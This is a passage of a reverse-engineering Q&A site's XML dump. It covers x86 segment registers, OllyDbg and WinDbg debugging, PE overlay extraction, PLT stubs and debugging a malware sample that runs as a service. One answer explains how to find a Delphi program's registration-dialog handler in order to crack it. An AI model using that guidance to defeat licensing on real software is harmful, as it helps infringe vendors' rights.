found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://img600.imageshack.us/img600/986/27dedeisunabletofindany.png&quot; rel=&quot;noreferrer&quot;&gt;http://img600.imageshack.us/img600/986/27dedeisunabletofindany.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDR (Interactive Delphi Reconstructor) also appears to be useless since the target application was compiled with Delphi 2011 or 2012 and no definition file is available for this version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas? Suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for your help and effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** &lt;strong&gt;&lt;em&gt;UPDATE&lt;/em&gt;&lt;/strong&gt; **&lt;/p&gt;&#xA;" OwnerUserId="1921" LastEditorUserId="1921" LastEditDate="2013-05-09T23:52:53.343" LastActivityDate="2013-05-11T17:09:37.320" Title="Unable to set breakpoints in keygen" Tags="|ollydbg|crackme|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2006" PostTypeId="1" AcceptedAnswerId="2009" CreationDate="2013-05-04T06:18:49.163" Score="87" ViewCount="132467" Body="&lt;p&gt;I try to understand the process of memory segmentation for the i386 and amd64 architectures on Linux. It seems that this is heavily related to the segment registers &lt;code&gt;%fs&lt;/code&gt;, &lt;code&gt;%gs&lt;/code&gt;, &lt;code&gt;%cs&lt;/code&gt;, &lt;code&gt;%ss&lt;/code&gt;, &lt;code&gt;%ds&lt;/code&gt;, &lt;code&gt;%es&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody explain how these registers are used, both, in user and kernel-land programs ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2015-06-09T23:29:38.897" LastActivityDate="2020-04-26T18:00:41.777" Title="How are the segment registers (fs, gs, cs, ss, ds, es) used in Linux?" Tags="|linux|x86|assembly|amd64|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2007" PostTypeId="2" ParentId="2006" CreationDate="2013-05-04T11:17:49.780" Score="14" Body="&lt;p&gt;FS points to the exception handling chain, CS and DS are filled from the OS with code and data segment. SS is the battery/stack segment. From what I remember, GS and ES are free.&lt;br&gt;&#xA;It shouldn't matter much if kernel or user mode (they are used by some instructions like XLAT, MOVS, and some others, so you have to use them in the same way), but just in case I'm talking about programming in user space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had not noticed before, but you're using the notation %fs, not FS, so probably you're meaning Linux, which is another story (also you could be more clear on protected/real mode). You can see also from other answers on stackexchange that linux apparently gives you, in FS and GS, 'thread local storage' and 'processor data area'. CS, DS, and SS should still be code/data/stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of the argument, I have no idea how on a Mac you use those registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 64 bit it depends: if not in compatibility mode (where you can execute 64 and 32 bit code) then DS, ES, and SS are ignored, and instructions like POP SS give an error. There is no segmentation (the memory model is flat), there should be no real mode (but I think you only mean protected mode?), and if I'm not wrong there isn't hardware task switching.&lt;br&gt;&#xA;There are further details on CS, FS, and GS (expecially the hidden part) in 64 bit mode, but since it's not used often maybe it's better to omit them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check the manuals for the AMD family of processors especially in the case of 64 bit legacy mode:&lt;br&gt;&#xA;&lt;a href=&quot;http://developer.amd.com/resources/documentation-articles/developer-guides-manuals/&quot; rel=&quot;noreferrer&quot;&gt;http://developer.amd.com/resources/documentation-articles/developer-guides-manuals/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1923" LastEditorUserId="2417" LastEditDate="2014-01-02T22:09:41.943" LastActivityDate="2014-01-02T22:09:41.943" CommentCount="9" CommunityOwnedDate="2013-05-04T16:26:06.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="2008" PostTypeId="2" ParentId="2005" CreationDate="2013-05-04T13:41:55.493" Score="5" Body="&lt;p&gt;Have a look at R4ndom's Tutorial #17 on working with Delphi binaries and cracking them: &lt;a href=&quot;http://thelegendofrandom.com/blog/archives/1472&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://thelegendofrandom.com/blog/archives/1472&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He describes how you can use &lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Resource Hacker&lt;/a&gt; (I prefer &lt;a href=&quot;http://www.wilsonc.demon.co.uk/d10resourceeditor.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;XN Resource Editor&lt;/a&gt;) to find the event handler for the form that calls the dialog you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With knowledge of the form you are interested in, &lt;a href=&quot;http://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/DeDe.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;download DeDe&lt;/a&gt; and load the application into it. After DeDe completes its analysis, click on the &quot;Forms&quot; tab and you will see all event handlers associated with that form (OnClick  is likely what you are looking for here). With the name of the event handler, click on &quot;Procedures&quot; and find the event and you will see its address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dwI5d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, load your application in OllyDbg and set a breakpoint on the address of the event handler that you are interested in. This should put you near where the registration dialog is prompting you. The R4ndom tutorial can describe any necessary next steps from there.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2013-05-04T13:48:50.137" LastActivityDate="2013-05-04T13:48:50.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2009" PostTypeId="2" ParentId="2006" CreationDate="2013-05-04T19:54:37.187" Score="67" Body="&lt;p&gt;&lt;strong&gt;Kernel perspective:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try to answer from the kernel perspective, covering various OS's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Memory_segmentation&quot; rel=&quot;noreferrer&quot;&gt;Memory segmentation&lt;/a&gt; is the old way of accessing memory regions.&#xA;All major operating systems including OSX, Linux, (from version 0.1) and Windows (from NT) are now using &lt;a href=&quot;http://en.wikipedia.org/wiki/Paging&quot; rel=&quot;noreferrer&quot;&gt;paging&lt;/a&gt; which is a better way (IMHO) of accessing memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Intel, has always introduced backward compatibility in its processors (except IA-64, and we saw how it failed...)&#xA;So, in its initial state (after reset) the processor starts in a mode called &lt;a href=&quot;http://en.wikipedia.org/wiki/Real_mode&quot; rel=&quot;noreferrer&quot;&gt;real mode&lt;/a&gt;, in this mode, segmentation is enabled by default to support legacy software.&#xA;During the boot process of the operating system, the processor is changed into &lt;a href=&quot;http://en.wikipedia.org/wiki/Protected_mode&quot; rel=&quot;noreferrer&quot;&gt;protected mode&lt;/a&gt;, and then in enabled paging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before paging, the segment registers were used like this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In real mode each logical address points directly into physical memory&#xA;  location, every logical address consists of two 16 bit parts: The&#xA;  segment part of the logical address contains the base address of a&#xA;  segment with a granularity of 16 bytes, i.e. a segments may start at&#xA;  physical address 0, 16, 32, ..., 2&lt;sup&gt;20&lt;/sup&gt;-16. The offset part of the&#xA;  logical address contains an offset inside the segment, i.e. the&#xA;  physical address can be calculated as &lt;code&gt;physical_address := segment_part × 16 + offset&lt;/code&gt; (if the address line A20 is enabled),&#xA;  respectively &lt;code&gt;(segment_part × 16 + offset`) mod 2&lt;sup&gt;20&lt;/sup&gt;&lt;/code&gt; (if A20 is off) Every segment has a size of 2&lt;sup&gt;16&lt;/sup&gt; bytes. [Wikipedia]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Let's see some examples (286-386 era) :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 286 architecture introduced 4 segments: &lt;strong&gt;CS&lt;/strong&gt; (code segment) &lt;strong&gt;DS&lt;/strong&gt; (data segment) SS (stack segment) &lt;strong&gt;ES&lt;/strong&gt; (extra segment)&#xA;the 386 architecture introduced two new general segment registers &lt;strong&gt;FS&lt;/strong&gt;, &lt;strong&gt;GS&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;typical assembly opcode (in Intel syntax) would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov dx, 850h&#xA;mov es, dx     ; Move 850h to es segment register&#xA;mov es:cx, 15h ; Move 15 to es:cx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using paging (protected mode) the segment registers weren't used anymore for addressing memory locations.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In protected mode the &lt;code&gt;segment_part&lt;/code&gt; is replaced by a 16 bit selector,&#xA;  the 13 upper bits (bit 3 to bit 15) of the selector contains the index&#xA;  of an entry inside a descriptor table. The next bit (bit 2) specifies&#xA;  if the operation is used with the GDT or the LDT. The lowest two bits&#xA;  (bit 1 and bit 0) of the selector are combined to define the privilege&#xA;  of the request; where a value of 0 has the highest priority and value&#xA;  of 3 is the lowest. [wikipedia]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The segments however still used to enforce hardware security in the GDT&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Global Descriptor Table or GDT is a data structure used by Intel&#xA;  x86-family processors starting with the 80286 in order to define the&#xA;  characteristics of the various memory areas used during program&#xA;  execution, including the base address, the size and access privileges&#xA;  like executability and writability. These memory areas are called&#xA;  segments in Intel terminology. [wikipedia]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, in practice the segment registers in protected mode are used to store indexes to the GDT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several operating systems such as Windows and Linux, use some of the segments for internal usage. for instance Windows x64 uses the &lt;code&gt;GS&lt;/code&gt; register to access the TLS (thread local storage) and in Linux it's for accessing cpu specific memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;User perspective:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the user perspective, in recent operating system that uses paging, the memory works in so called &quot;flat mode&quot;.&#xA;Every process access its own memory (4GB) in linear fashion, so basically the segment registers are not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are still registers, so they can of course be used for various other assembly operations.&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="2563" LastEditDate="2020-04-26T18:00:41.777" LastActivityDate="2020-04-26T18:00:41.777" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="2010" PostTypeId="2" ParentId="1979" CreationDate="2013-05-04T20:42:04.227" Score="4" Body="&lt;p&gt;With OllyDbg you can do it like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F:\odbg110&amp;gt;regedit &amp;amp; tasklist /fi &quot;imagename eq rege*&quot;&#xA;&#xA;Image Name                   PID Session Name     Session#    Mem Usage&#xA;========================= ====== ================ ======== ============&#xA;regedit.exe                 2820 Console                 0      2,512 K&#xA;&#xA;F:\odbg110&amp;gt;ollydbg -P 2820&#xA;&#xA;F:\odbg110&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In OllyDbg hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt; (goto) type &lt;code&gt;advapi32.RegOpenKeyExW&lt;/code&gt; and hit &lt;kbd&gt;Enter&lt;/kbd&gt;. If you are on Windows XP SP3 it should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;77DD6AAF ADVAPI32.RegOpenKeyExW U&amp;gt;/$  8BFF          MOV     EDI, EDI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F4&lt;/kbd&gt; (conditional log breakpoint)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &quot;condition&quot; edit box enter say (no wild cards needs a valid escaped pattern)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UNICODE [[esp+8]]  ==  &quot;system\\CurrentControlSet\\Services\\Beep&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &quot;explanation&quot; edit box enter any explanation you want like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;log RegOpenKeyExW subkey&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the expression edit box enter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[esp+8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &quot;Decode Value&quot; select &quot;pointer to Unicode string&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pause program on condition&#xA;log value of expression always&#xA;log function arguments on condition &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(all of this can be done without pausing the debuggee) (dynamic break insertions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to &lt;code&gt;regedit&lt;/code&gt; and play with it a little and select the &quot;Beep Service&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OllyDbg will break and will have the function arguments logged too; and you will have all other strings logged too without pause, like below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;Address    Message&#xA;77DD6AAF   COND: log reop Subkey = 0007FBC8 &quot;SYSTEM\CurrentControlSet\Services\aswMonFlt&quot;&#xA;77DD6AAF   COND: log reop Subkey = 0007FBC8 &quot;SYSTEM\CurrentControlSet\Services\aswRdr&quot;&#xA;77DD6AAF   COND: log reop Subkey = 0007FBC8 &quot;SYSTEM\CurrentControlSet\Services\aswRvrt&quot;&#xA;77DD6AAF   COND: log reop Subkey = 0007FBC8 &quot;SYSTEM\CurrentControlSet\Services\aswSnx&quot;&#xA;77DD6AAF   COND: log reop Subkey = 0007FBC8 &quot;SYSTEM\CurrentControlSet\Services\aswSP&quot;&#xA;77DD6AAF   COND: log reop Subkey = 0007FBC8 &quot;SYSTEM\CurrentControlSet\Services\aswTdi&quot;&#xA;77DD6AAF   COND: log reop Subkey = 0007FBC8 &quot;SYSTEM\CurrentControlSet\Services\aswVmm&quot;&#xA;77DD6AAF   COND: log reop Subkey = 0007FBC8 &quot;SYSTEM\CurrentControlSet\Services\avast! Antivirus&quot;&#xA;77DD6AAF   COND: log reop Subkey = 0007FBC8 &quot;SYSTEM\CurrentControlSet\Services\Beep&quot;&#xA;77DD6AAF   CALL to RegOpenKeyExW from regedit.01008B23&#xA;             hKey = HKEY_LOCAL_MACHINE&#xA;             Subkey = &quot;SYSTEM\CurrentControlSet\Services\Beep&quot;&#xA;             Reserved = 0&#xA;             Access = 2000000&#xA;             pHandle = regedit.01019098&#xA;77DD6AAF   Conditional breakpoint at ADVAPI32.RegOpenKeyExW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="245" LastEditDate="2013-05-05T02:13:14.803" LastActivityDate="2013-05-05T02:13:14.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2011" PostTypeId="2" ParentId="2003" CreationDate="2013-05-04T22:25:04.187" Score="4" Body="&lt;p&gt;I am a bit confused by the title of your question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SQL Server or for that matter any other application apart from WinDbg or special symbol retrievers wont be able to download symbols from ms symbol servers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you mean you used &lt;code&gt;symchk&lt;/code&gt; on the &lt;code&gt;sqlserver.exe&lt;/code&gt; as mentioned in the blog you linked &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple method to get symbols for any application is to&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;set &lt;code&gt;_NT_SYMBOL_PATH&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;_NT_SYMBOL_PATH=SRV*F:\symbols*http://msdl.microsoft.com/download/symbols&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;open the executable in WinDbg with an active Internet connection &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;windbg SqlServer.exe&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once WinDbg has opened the application&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;issue &lt;code&gt;.reload /f&lt;/code&gt; and WinDbg will fetch all the symbol files and will cache them in the downstream store (&lt;code&gt;F:\Symbols&lt;/code&gt; in the above scenario)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;once the relevant &lt;code&gt;.pdb&lt;/code&gt; files are available in cache &lt;code&gt;symsrv.dll&lt;/code&gt; will use the cached symbol file and wont look for an active Internet connection&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refrain from copying any &lt;code&gt;.pdb&lt;/code&gt; files to any local folders &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use &lt;code&gt;_NT_SYMBOL_PATH&lt;/code&gt; for all your symbol needs&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="245" LastEditDate="2013-05-05T02:05:36.037" LastActivityDate="2013-05-05T02:05:36.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2012" PostTypeId="2" ParentId="1995" CreationDate="2013-05-05T03:10:44.247" Score="7" Body="&lt;p&gt;A segment is a &quot;window&quot; into a section of memory. You can map all or part of memory into a single segment, and multiple segments can have overlapping views of the same memory.  A far call or jump allows you to move between or within those windows.  A near call or jump allows you to move only within the current window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference between the call and the jump is that the call saves the return address on the stack.  For a far call, the return selector is saved on the stack, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, your question lacks sufficient detail of what exactly you want to know.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-05-05T03:10:44.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2013" PostTypeId="2" ParentId="2005" CreationDate="2013-05-06T00:03:12.847" Score="1" Body="&lt;p&gt;I'm not sure it's true in your case, but a common anti-keygenning/debugging trick is to compress the parts of code you're going to want to breakpoint and over-write them at runtime.  This way if an int3 is patched in at initial load, a reload will re-initialize the text section and remove your breakpoint.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has more intense applications, but this would be a simple one.&lt;/p&gt;&#xA;" OwnerUserId="1536" LastActivityDate="2013-05-06T00:03:12.847" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2014" PostTypeId="1" CreationDate="2013-05-06T10:59:38.410" Score="9" ViewCount="10209" Body="&lt;p&gt;How do you reliably extract appended data in a Portable Executable?&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2021-01-19T02:40:47.333" Title="How can one extract the appended data of a Portable Executable?" Tags="|pe|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2015" PostTypeId="2" ParentId="2014" CreationDate="2013-05-06T10:59:38.410" Score="10" Body="&lt;p&gt;Just to clarify: the &lt;em&gt;appended data&lt;/em&gt; - also called &lt;em&gt;overlay&lt;/em&gt; - is the part of a PE file that is not covered by the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p1tXR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of some tricky conditions in the PE file format, it might be difficult to determine in some extreme case, so it's better to rely on a robust library such as &lt;a href=&quot;https://code.google.com/p/pefile/&quot; rel=&quot;noreferrer&quot;&gt;pefile&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple Python script that relies on pefile to extract the appended data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pefile&#xA;import sys&#xA;&#xA;filename = sys.argv[1]&#xA;with open(filename, &quot;rb&quot;) as s:&#xA;    r = s.read()&#xA;&#xA;pe = pefile.PE(filename)&#xA;offset = pe.get_overlay_data_start_offset()&#xA;&#xA;with open(filename + &quot;.app&quot;, &quot;wb&quot;) as t:&#xA;    t.write(r[offset:])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use with your filename as argument.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Personally, I usually do it with Hiew - as Hiew is faster to start than anything else, and also PE-robust:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;go at appended data start&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;in &lt;code&gt;Hex&lt;/code&gt; or &lt;code&gt;ASM&lt;/code&gt; mode, press &lt;kbd&gt;F8&lt;/kbd&gt; to view PE header information&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt; to go at appended data start&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;select until the end&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Keypad-&lt;code&gt;*&lt;/code&gt;&lt;/kbd&gt; to start selection&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;End&lt;/kbd&gt; to go at bottom of the file&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Keypad-&lt;code&gt;*&lt;/code&gt;&lt;/kbd&gt; again to finish selection&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;F2&lt;/kbd&gt; to write selection to file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-05-06T11:54:48.547" LastActivityDate="2013-05-06T11:54:48.547" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2016" PostTypeId="2" ParentId="2014" CreationDate="2013-05-06T11:37:15.820" Score="6" Body="&lt;p&gt;It is not that hard to do manually.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the PE header from the MZ header and determine the location of the section table.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Walk the section table, and determine the maximum value of &lt;code&gt;PointerToRawData&lt;/code&gt; + &lt;code&gt;SizeOfRawData&lt;/code&gt;. (note: these values are subject to alignment using the &lt;code&gt;FileAlignment&lt;/code&gt; member of the &lt;code&gt;IMAGE_OPTIONAL_HEADER&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the determined maximum as the file offset to the overlay data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that some installers/file formats do not actually use this calculation, but they instead have a small trailer at the end of file which points to the beginning of the payload. For example, ZIP file format works like that - that's why a self-extracting ZIP can be extracted irregardless of whether the unpacker stub is PE, DOS MZ, ELF, Mach-O or anything else.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-06T11:37:15.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2017" PostTypeId="2" ParentId="1988" CreationDate="2013-05-06T18:48:10.723" Score="8" Body="&lt;p&gt;PLT stands for Procedure Linkage Table. It is effectively a table of function addresses. More precisely, as illustrated here, the PLT is a table where each entry consists of a jump instruction to where the code of the function really is. The PLT thus consists of function stubs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calls to dynamically linked functions are compiled to calls to the PLT address, rather than the address where the function really is. Thanks to this indirection, external calls in a module can be implemented with a relative jump into the PLT. The dynamic linker updates the PLT with the runtime address of the actual code, which depends on where the called module is located in memory relative to the callee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem solved by this extra level of indirection is dynamic linking where the address of the libraries cannot be predicted at compile time and the dynamic linker does not need to update the code itself (which would preclude sharing between instances of a library that is loaded at different addresses in different processes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This explains &lt;code&gt;&amp;lt;__libc_start_main@plt&amp;gt;&lt;/code&gt;. That the jump is indicated as into &lt;code&gt;perror@plt&lt;/code&gt; is confusing information from the disassembler. &lt;code&gt;&amp;lt;perror@plt+0x2008e0&amp;gt;&lt;/code&gt; means that the jump target is 0x2008e0 bytes after the start of the PLT entry for &lt;code&gt;perror&lt;/code&gt; — if this was a jump into the code of the &lt;code&gt;perror&lt;/code&gt; function, that would be one huge function! In fact the jump is to the real code of the &lt;code&gt;main&lt;/code&gt; entry point, which happens to be located this many bytes from the &lt;code&gt;perror&lt;/code&gt; PLT entry (if you're using GNU binutils, I think &lt;code&gt;objdump&lt;/code&gt; picks the last PLT entry here). The binary is compiled without debugging symbols, so the code of all functions appears to the disassembler as a huge block of &lt;code&gt;.text&lt;/code&gt;, and the debugger has no better way to name that particular address. If debugging symbols had been present then the disassembler would have extracted the function name from the debugging information in the binary.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2013-05-06T18:48:10.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2018" PostTypeId="2" ParentId="1946" CreationDate="2013-05-07T09:57:13.220" Score="3" Body="&lt;p&gt;Crisis is trying to locate dyld location in that piece of code: 32bits dyld is usually located at 8FE00000 - it uses that to solve symbols, if I'm not mistaken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check my Crisis &lt;a href=&quot;http://reverse.put.as/2012/08/06/tales-from-crisis-chapter-1-the-droppers-box-of-tricks/&quot;&gt;analysis&lt;/a&gt; if you haven't already.&lt;/p&gt;&#xA;" OwnerUserId="1338" LastEditorUserId="188" LastEditDate="2013-05-07T10:02:11.467" LastActivityDate="2013-05-07T10:02:11.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2019" PostTypeId="1" AcceptedAnswerId="2021" CreationDate="2013-05-07T21:04:43.703" Score="15" ViewCount="4247" Body="&lt;p&gt;I'm trying to debug a malware sample that installs to a system as service and then will only start if it starts as a service. Other functions are still available without the service start, like configuring or install under a different name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to catch the network communications the malware is sending and receiving as soon as it starts as a service. If I attach to a running service/process with Immunity it already has sent the network packets and received, and I've missed what it has done with them. If I try to start it any other way I get the following error: &lt;code&gt;ERROR_FAILED_SERVICE_CONTROLLER_CONNECT&lt;/code&gt; (00000427). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to go about this? Or some workaround? I'm fairly new to this so I certainly be missing some obvious.&lt;/p&gt;&#xA;" OwnerUserId="1940" LastEditorUserId="107" LastEditDate="2013-05-07T21:35:30.833" LastActivityDate="2021-07-09T20:33:09.170" Title="Debugging malware that will only run as a service" Tags="|windows|malware|debuggers|networking|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2020" PostTypeId="2" ParentId="2019" CreationDate="2013-05-07T21:25:12.663" Score="7" Body="&lt;p&gt;It sounds like you are talking about Windows Services. In which case I am not sure how to debug those. Perhaps you can figure out how to make it revert to being a normal app but then again that may not be possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this will solve your packet monitoring problem though. It allows you to monitor packets per process unlike &lt;a href=&quot;http://www.wireshark.org/&quot;&gt;WireShark.&lt;/a&gt; &lt;a href=&quot;http://www.nirsoft.net/utils/smsniff.html&quot;&gt;SmartSniff&lt;/a&gt; should also be able to do this job. Not sure but you might have to add the process column as it might not be displayed by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.microsoft.com/en-us/download/details.aspx?id=4865&quot;&gt;MicroSoft Network Monitor&lt;/a&gt; should in theory be the best since it will be most integrated with the OS. And have access to more information a more portable tool like Wireshark would not.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-05-07T21:34:34.917" LastActivityDate="2013-05-07T21:34:34.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2021" PostTypeId="2" ParentId="2019" CreationDate="2013-05-07T21:25:28.430" Score="29" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://web.archive.org/web/20160221161913/http://blogs.msdn.com:80/b/junfeng/archive/2004/04/28/121871.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Image File Execution Options&lt;/a&gt; registry key to specify a debugger which will be launched automatically when the executable starts.&lt;/p&gt;&#xA;&lt;p&gt;You can also always do the ancient trick of patching an endless loop (&lt;code&gt;EB FE&lt;/code&gt;) at the entry point or somewhere later. This would allow you to attach at you leisure, restore the patched bytes and resume the execution.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="13506" LastEditDate="2021-07-09T20:33:09.170" LastActivityDate="2021-07-09T20:33:09.170" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
